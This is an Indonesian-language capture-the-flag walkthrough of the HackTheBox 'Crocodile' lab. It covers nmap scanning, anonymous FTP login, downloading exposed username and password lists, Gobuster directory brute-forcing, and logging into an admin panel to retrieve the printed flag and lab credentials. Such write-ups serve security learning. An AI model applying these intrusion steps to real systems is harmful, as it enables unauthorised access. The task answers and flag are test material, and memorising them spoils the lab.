

HackTheBox

Crocodile

Write-Up & Walkthrough

Target IP: 10.129.146.3

Flag: c7110277ac44d78b6a9fff2232434d16

Difficulty: Very Easy

Kategori: Starting Point

Ringkasan

Crocodile adalah mesin Starting Point di HackTheBox yang memperkenalkan konsep dasar enumerasi layanan FTP dan HTTP. Pada mesin ini, kita memanfaatkan akses FTP anonim untuk mengambil daftar username dan password, lalu menggunakannya untuk login ke panel admin pada web service yang berjalan di port 80.

Fase 1: Reconnaissance

Task 1 - Nmap Default Script Scan (-sC)

Langkah pertama adalah melakukan scanning menggunakan Nmap dengan flag default scripts untuk mengumpulkan informasi awal tentang target.

Perintah yang digunakan:

```
nmap -sC 10.129.146.3
```

Hasil scan menunjukkan dua port terbuka:

```
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
| http-title: Smash - Bootstrap Business Template
```

Task 1

Nmap switch untuk default scripts adalah: -sC

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS DLL]
$ nmap -sC 10.129.146.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 19:42 +0700
Nmap scan report for 10.129.146.3
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--  1 ftp      ftp          33 Jun 08  2021 allowed.userlist
| -rw-r--r--  1 ftp      ftp          62 Apr 20  2021 allowed.userlist.passwd
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:10.10.15.146
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http
|_http-title: Smash - Bootstrap Business Template

Nmap done: 1 IP address (1 host up) scanned in 18.98 seconds
```

Task 2 - Versi Layanan FTP (Port 21)

Untuk mengetahui versi layanan yang berjalan, digunakan flag -sV pada Nmap:

```
nmap -sV -p 80,443 10.129.146.3
```

Output menampilkan versi FTP server yang berjalan pada port 21.

Task 2

Versi layanan FTP: vsftpd 3.0.3

Task 3 - FTP Code untuk Anonymous Login

Dari hasil scan Nmap dengan default scripts, terlihat bahwa server FTP mengizinkan login anonim dengan kode respons berikut:

```
ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Task 3

FTP code untuk Anonymous login: 230

Fase 2: Eksploitasi FTP

Task 4 - Username untuk Anonymous Login

Saat terhubung ke server FTP, kita diminta memasukkan username. Untuk login secara anonim, gunakan:

```
$ ftp 10.129.146.3
Name (10.129.146.3:user): anonymous
Password: [kosong / tekan Enter]
```

Task 4

Username untuk anonymous login: anonymous

Task 5 - Perintah untuk Mengunduh File

Setelah berhasil login secara anonim, gunakan perintah ls untuk melihat isi direktori:

```
ftp> ls
-rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
```

Untuk mengunduh file, gunakan perintah get:

```
ftp> get allowed.userlist
ftp> get allowed.userlist.passwd
```

Task 5

Perintah untuk mengunduh file dari FTP: get

Task 6 - Username dengan Hak Akses Tinggi

Setelah mengunduh dan membaca isi file allowed.userlist, ditemukan beberapa username:

```
aron
pwnmeow
egotisticalsw
admin
```

Username yang paling mencurigakan memiliki hak akses tinggi adalah admin.

Task 6

Username dengan hak akses tinggi: admin

Fase 3: Enumerasi Web (HTTP)

Task 7 - Versi Apache HTTP Server

Dari hasil scan Nmap dengan flag -sV, ditemukan versi Apache yang berjalan pada port 80:

```
80/tcp open  http Apache httpd 2.4.41 ((Ubuntu))
```

Task 7

Versi Apache HTTP Server: Apache httpd 2.4.41

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS DLL]  
$ nmap -sV -p 80,443 10.129.146.3  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 19:45 +0700  
Nmap scan report for 10.129.146.3  
Host is up (0.27s latency).  
  
PORT      STATE SERVICE VERSION  
80/tcp    open  http   Apache httpd 2.4.41 ((Ubuntu))  
443/tcp   closed https  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 10.16 seconds
```

Task 8 - Gobuster Switch untuk Ekstensi File

Untuk melakukan directory brute force dengan mencari file dengan ekstensi tertentu (misalnya .php), gunakan flag -x pada Gobuster:

```
gobuster dir -u http://10.129.146.3 -w /path/to/wordlist -x php
```

Task 8

Gobuster switch untuk filter ekstensi file: -x

Task 9 - File PHP untuk Autentikasi

Hasil dari directory brute force dengan Gobuster menemukan file PHP yang menyediakan halaman login:

```
http://10.129.146.3/login.php
```

Task 9

File PHP untuk autentikasi: login.php

Fase 4: Mendapatkan Flag

Setelah menemukan halaman login.php, langkah selanjutnya adalah mencoba kombinasi kredensial dari file yang sudah diunduh sebelumnya.

Isi file allowed.userlist.passwd:

```
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
```

Dengan intuisi bahwa username dan password selaras urutannya, maka:

Username: admin (baris ke-4 di userlist)

Password: rKXM59ESxesUFHAd (baris ke-4 di passwd list)

Berhasil login ke dashboard admin di <http://10.129.146.3/login.php> dan flag langsung ditampilkan di halaman dashboard:

FLAG: c7110277ac44d78b6a9fff2232434d16